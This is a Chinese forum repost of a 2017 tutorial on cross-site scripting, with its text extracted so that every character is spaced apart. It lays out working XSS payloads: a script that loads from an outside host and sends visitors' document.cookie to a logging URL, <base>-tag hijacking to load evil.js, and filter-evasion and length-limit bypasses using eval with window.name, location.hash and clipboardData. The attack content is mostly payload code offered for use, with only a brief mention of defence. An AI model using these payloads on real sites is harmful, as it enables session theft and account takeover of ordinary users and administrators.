搜索

[20710] 2017-04-17_XSS跨站脚本攻击

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2017-04-17_XSS跨站脚本攻击 X S S 跨 站 脚 本 攻 击 L e m o n S e c   2 0 1 7 - 0 4 - 1 7 X S S 跨 站 脚 本 攻 击 的 基 本 原 理 和 S Q L   注 入 攻 击 类 似 （ 个 人 观 点 ） ， 都 是 利 用 系 统 执 行 了 未 经 过 滤 的 危 险 代 码 ， 不 同 点 在 于 X S S 是 一 种 基 于 网 页 脚 本 的 注 入 方 式 ， 也 就 是 将 脚 本 攻 击 载 荷 写 入 网 页 执 行 以 达 到 对 网 页 客 户 端 访 问 用 户 攻 击 的 目 的 ， 属 于 客 户 端 攻 击 。 而 S Q L 注 入 攻 击 将 危 险 代 码 绕 过 正 常 的 文 本 输 入 变 为 可 执 行 的 S Q L 执 行 语 句 从 而 操 纵 数 据 库 ， 从 而 进 一 步 探 测 、 操 纵 数 据 库 信 息 。 属 于 服 务 器 攻 击 ？ （ 菜 鸟 看 法 ） 。 X S S 攻 击 前 奏 （ 攻 击 前 奏 （ X S S   b u g   检 测 ） 检 测 ） 1 、 最 常 见 的 最 经 典 的 、 最 常 见 的 最 经 典 的 X S S   b u g 检 测 语 句 必 然 是 检 测 语 句 必 然 是 < s c r i p t > a l e r t ( / X S S / ) < / s c r i p t >                                                                                 ① 比 如 在 存 在 X S S   b u g 的 留 言 板 上 写 上 留 言 ① , 当 访 问 留 言 板 网 页 时 会 弹 出 对 话 框 : 这 表 明 我 们 输 入 的 语 句 被 原 样 写 入 的 网 页 并 被 浏 览 器 执 行 了 . 那 么 我 们 就 有 机 会 执 行 我 们 的 脚 本 攻 击 载 荷 : < s c r i p t   s r c   =   h t t p : / / w w w . l a b s e c u r i t y . o r g / x s s b u g . j s > < / s c r i p t > 在 我 们 的 网 络 空 间 上 的 x s s b u g . j s 代 码 可 以 是 V a r   i m g   =   d o c u m e n t . c r e a t e E l e m e n t ( “ i m g ” ) ; I m g . s r c   =   “ h t t p : / / w w w . l a b s e c u r i t y . o r g / l o g ? ” + e s c a p e ( d o c u m e n t . c o o k i e ) ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i m g ) ; 如 果 我 们 如 上 代 码 顺 利 执 行 , 那 么 被 攻 击 者 在 目 标 网 站 的 登 录 c o o k i e 就 写 进 了 l o g . 得 到 其 c o o k i e 后 , 进 行 浏 览 器 重 新 发 包 就 可 以 以 被 攻 击 者 身 份 登 录 目 标 网 站 . ( 被 攻 击 者 可 以 是 普 通 用 户 也 可 以 使 网 站 超 级 管 理 员 ) . 将 窃 取 c o o k i e 的 代 码 换 成 下 载 者 地 址 就 可 以 将 下 载 者 下 载 到 存 在 下 载 者 攻 击 漏 洞 的 用 户 电 脑 上 . 也 可 以 将 代 码 换 成 目 标 用 户 在 网 站 上 的 某 些 操 作 的   数 据 包 脚 本 . 促 使 在 不 知 情 的 情 况 下 ” 自 愿 ” 进 行 某 些 操 作 . 对 于 C o o k i e 窃 取 的 防 御 可 以 使 Ｉ Ｐ 绑 定 等 方 案 了 ． 既 然 存 在 Ｘ Ｓ Ｓ 攻 击 那 么 程 序 员 在 开 发 时 必 然 会 进 行 某 些 危 险 关 键 字 的 过 滤 ， 以 及 限 制 用 户 的 输 入 长 度 ． 这 样 即 使 存 在 ｘ ｓ ｓ 漏 洞 ． Ｈ ａ ｃ ｋ 也 只 能 检 测 ， 却 不 能 够 写 入 攻 击 载 荷 （ 长 度 限 制 啊 ） ． 2 、 利 用 、 利 用 I M G 图 片 标 记 属 性 跨 站 图 片 标 记 属 性 跨 站
当 然 也 可 以 像 上 面 所 说 的 在 留 言 板 中 输 入 < i m g   s r c = ” j a v a c r i p t : a l e r t ( / X S S / ) ” > < / i m g > 这 所 说 的 不 是 这 样 是 在 用 户 上 传 图 片 时 将 图 片 路 径 修 改 为 一 段 可 执 行 的 X S S 测 试 脚 本 . 如 果 存 在 X S S 漏 洞 那 么 此 类 脚 本 就 会 被 执 行 . 这 类 脚 本 要 闭 合 双 引 号 ” > ” 等 . 利 用 D I V 标 签 属 性 跨 站 < d i v   s t y l e = ” w i d t h : 0 ; h e i g h t : 0 ; b a c k g r o u n d : u r l ( j a v a s c r i p t : d o c u m e n t . b o d y . o n l o a d   =   f u n c t i o n ( ) { a l e r t ( / X S S / ) ; } ; ” > < / d i v > 利 用 已 知 事 件 攻 击 移 动 特 效 字 < m a r q u e e > 文 字 < / m a r q u e e > < m a r q u e e   o n s t a r t = ” a l e r t ( / X S S / ) ” > 文 字 < / m a r q u e e > B . < d i v   s t y l e = ” ”   o n m o u s e e n t e r = ” a l e r t ( / X S S / ) ” > 文 字 < / d i v > 构 造 事 件 < i m g   s t y l e = ” # ”   s t y l e = ” T E S T : e - x p r e s s i o n ( a l e r t ( / X S S / ) ) ; ” > 常 用 的 事 件 构 造 < f o n t   s t y l e   =   “ T E S T : e - x p r e s s i o n ( a l e r t ( / X S S / ) ) ” > < / f o n t > < l i   s t y l e   =   “ T E S T : e - x p r e s s i o n ( a l e r t ( / X S S / ) ) ” > < / l i > < t a b l e   s t y l e   =   “ T E S T : e - x p r e s s i o n ( a l e r t ( / X S S / ) ) ” > < / t a b l e > < a   s t y l e   =   “ T E S T : e - x p r e s s i o n ( a l e r t ( / X S S / ) ) ” > < / a > < b   s t y l e   =   “ T E S T : e - x p r e s s i o n ( a l e r t ( / X S S / ) ) ” > < / b > < u l   s t y l e   =   “ T E S T : e - x p r e s s i o n ( a l e r t ( / X S S / ) ) ” > < / u l > < m a r q u e   t y l e   =   “ T E S T : e - x p r e s s i o n ( a l e r t ( / X S S / ) ) ” > < / m a r q u e e > 3 、 突 破 程 序 员 的 过 滤 限 制 、 突 破 程 序 员 的 过 滤 限 制 利 用 j a v a s c r i p t 换 行 与 空 格 突 破 过 滤 < i m g   s r c   =   j   a v a   s c r i p t : a l   e r   t ( / X S S / ) > / / / 空 格 使 用 T a b 键 产 生 < i m g   s r c   =   j a v a   s c r i p t   : a   l e r   t ( / x s s / ) > 利 用 注 释 < i m g   s r c   =   “ # ” / * * / o n e r r o r   =   a l e r t ( / X S S / ) > 转 代 码 , 绕 过 滤 使 用 大 小 写 转 换 绕 过 过 滤 使 用 进 制 编 码 空 格 回 车 符 J S   还 原 函 数 法 S t r i n g . f r o m C h a r C o d e ( ) 可 以 将 A S C I I 编 码 还 原 成 字 符 串 , 那 么 就 可 以 e v a l ( S t r i n g . f r o m C h a r C o d e ( 9 7 , 1 0 8 , 1 0 1 . . . . . ) ) 突 破 长 度 限 制 注 释 符 闭 合 相 邻 的 输 入 框 达 到 合 并 的 目 的 < i n p u t   i d   =   1   t y p e   =   “ t e x t ”   v a l u e = ” ” / > < i n p u t   i d   =   2   t y p e   =   “ t e x t ”   v a l u e   =   “ ” / > 这 样 我 们 可 以 在 第 一 个 框 中 输 入 ” > a l e r t < ! - - 在 第 二 个 输 入 框 中 输 入 - - > < s c r i p t > ( / X S S / ) ; < / s c r i p t > 这 样 效 果 就 是 < i n p u t   i d   =   1   t y p e   =   “ t e x t ”   v a l u e = ” ”   < s c r i p t > a l e r t ( / X S S / ) < / s c r i p t > ” / > 使 用 < b a s e > 标 签 进 行 相 对 路 径 劫 持 < b o d y > < b a s e   h r e f = ” h t t p : / / w w w . l a b s e c u r i t y . o r g ” / > < i m g   s r c   =   “ e v i l . j s ” > < b o d y > 当 我 们 没 有 使 用 b a s e 标 签 时 e v i l . j s 是 调 用 的 服 务 器 根 目 录 下 的 e v i l . j s 脚 本 文 件 . 当 我 们 使 用 < b a s e > 脚 本 后 . 那 么 在 此 标 签 后 的 所 有 相 对 路 径 为 我 们 设 置 的 网 站 . 因 此 可 以 先 使 用 < b a s e > 脚 本 劫 持 , 然 后 再 写 入 < i m g   s r c = ” x x x . j s ” > 突 破 长 度 限 制 . 4 、 使 用 、 使 用 w i n d o w . n a m e 进 行 字 符 串 传 递 进 行 字 符 串 传 递 在 我 们 自 己 的 构 造 的 页 面 中 写 入 如 下 代 码 < s c r i p t > W i n d o w . n a m e = ” < s c r i p t   s r c = h t t p : / / w w w . l a b s e c u r i t y . o r g / x s s . j s > < s c r i p t > ”
W i n d o w . l o c a t i o n = ” h t t p : / / w w w . x x x x . c o m / x x x . a s p ” < / s c r i p t > 当 我 们 跳 转 到 目 标 网 页 时 我 们 的 w i n d o w . n a m e 值 为 我 们 设 置 的 跨 站 脚 本 语 句 . 因 此 我 们 可 以 使 用 e v a l ( n a m e ) 进 行 跨 站 攻 击 . 利 用 上 下 文 扩 展 长 度 < d i v   i d = " x " > a l e r t % 2 8 d o c u m e n t . c o o k i e % 2 9 % 3 B < / d i v > < l i m i t e d _ x s s _ p o i n t > e v a l ( u n e s c a p e ( x . i n n e r H T M L ) ) ; < / l i m i t e d _ x s s _ p o i n t > 上 文 是 不 限 制 长 度 的 安 全 数 据 , 那 么 我 们 就 可 以 在 下 文 中 使 用 此 安 全 数 据 . 进 行 X S S 攻 击 突 破 长 度 . 5 . 利 用 利 用 U R L   中 的 数 据 中 的 数 据 如 果 页 面 里 不 存 在 上 一 节 所 说 的 可 控 H T M L   上 下 文 数 据 怎 么 办 ？ 有 些 数 据 是 我 们 无 条 件 可 控 的 ， 第 一 个 想 到 的 就 是 U R L ， 通 过 在 U R L   的 尾 部 参 数 构 造 要 执 行 的 代 码 ， 然 后 在 X S S 点 通 过 d o c u m e n t . U R L / l o c a t i o n . h r e f   等 方 式 获 得 代 码 数 据 执 行 ， 这 里 假 设 代 码 从 第 8 0   个 字 符 开 始 到 最 后 ： 1 .   h t t p : / / w w w . x s s e d s i t e . c o m / x s s e d . p h p ? x = 1 . . . . & a l e r t ( d o c u m e n t . c o o k i e )     2 .   < l i m i t e d _ x s s _ p o i n t > e v a l ( d o c u m e n t . U R L . s u b s t r ( 8 0 ) ) ; < / l i m i t e d _ x s s _ p o i n t >   长 度 ： 3 0 1 .   < l i m i t e d _ x s s _ p o i n t > e v a l ( l o c a t i o n . h r e f . s u b s t r ( 8 0 ) ) ; < / l i m i t e d _ x s s _ p o i n t >   长 度 ： 3 1 上 面 两 个 例 子 对 比 ， 前 一 个 例 子 更 短 ， 那 么 有 没 有 办 法 更 短 呢 ？ 通 过 查 阅 J a v a s c r i p t   手 册 的 S t r i n g   的 方 法 可 以 发 现 ， 切 割 字 符 串 有 一 个 更 短 的 函 数 s l i c e ， 5   个 字 符 比 s u b s t r   还 要 短 一 个 字 符 ： < l i m i t e d _ x s s _ p o i n t > e v a l ( d o c u m e n t . U R L . s l i c e ( 8 0 ) ) ; < / l i m i t e d _ x s s _ p o i n t > 长 度 ： 2 9 < l i m i t e d _ x s s _ p o i n t > e v a l ( l o c a t i o n . h r e f . s l i c e ( 8 0 ) ) ; < / l i m i t e d _ x s s _ p o i n t > 长 度 ： 3 0 那 么 还 有 没 有 办 法 更 短 呢 ？ 答 案 是 Y E S ， 查 阅 一 下 M S N D   里 的 l o c a t i o n   对 象 的 参 考 你 会 发 现 有 个 h a s h   成 员 ， 获 取 # 之 后 的 数 据 ， 那 么 我 们 可 以 把 要 执 行 的 代 码 放 在 # 后 面 ， 然 后 通 过 h a s h 获 得 代 码 执 行 ， 由 于 获 得 的 数 据 是 # 开 头 的 ， 所 以 只 需 要 s l i c e 一 个 字 符 就 可 以 拿 到 代 码 ： 1 .   h t t p : / / w w w . x s s e d s i t e . c o m / x s s e d . p h p ? x = 1 . . . . # a l e r t ( d o c u m e n t . c o o k i e )     2 .   < l i m i t e d _ x s s _ p o i n t > e v a l ( l o c a t i o n . h a s h . s l i c e ( 1 ) ) ; < / l i m i t e d _ x s s _ p o i n t >   长 度 ： 2 9 这 样 比 上 面 的 例 子 又 少 了 一 个 字 符 。 那 么 还 可 以 更 短 么 ？ 6 . 剪 切 板 剪 切 板 c l i p b o a r d D a t a 攻 击 者 在 自 己 域 的 页 面 上 通 过 c l i p b o a r d D a t a   把 P a y l o a d   写 入 剪 切 板 ， 然 后 在 被 X S S   页 面 获 取 并 执 行 该 数 据 。 攻 击 者 构 造 的 页 面 ： 1 .   < s c r i p t >   2 .   c l i p b o a r d D a t a . s e t D a t a ( " t e x t " ,   " a l e r t ( d o c u m e n t . c o o k i e ) " ) ;     3 .   < / s c r i p t >   被 X S S   的 页 面 ： < l i m i t e d _ x s s _ p o i n t > e v a l ( c l i p b o a r d D a t a . g e t D a t a ( " t e x t " ) ) ; < / l i m i t e d _ x s s _ p o i n t > 长 度 ： 3 6 这 种 方 式 只 适 用 于 I E   系 列 ， 并 且 在 I E   7   及 以 上 版 本 的 浏 览 器 会 有 安 全 提 示 。 查 看 更 多 文 章 ， 关 注 下 方 二 维 码

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理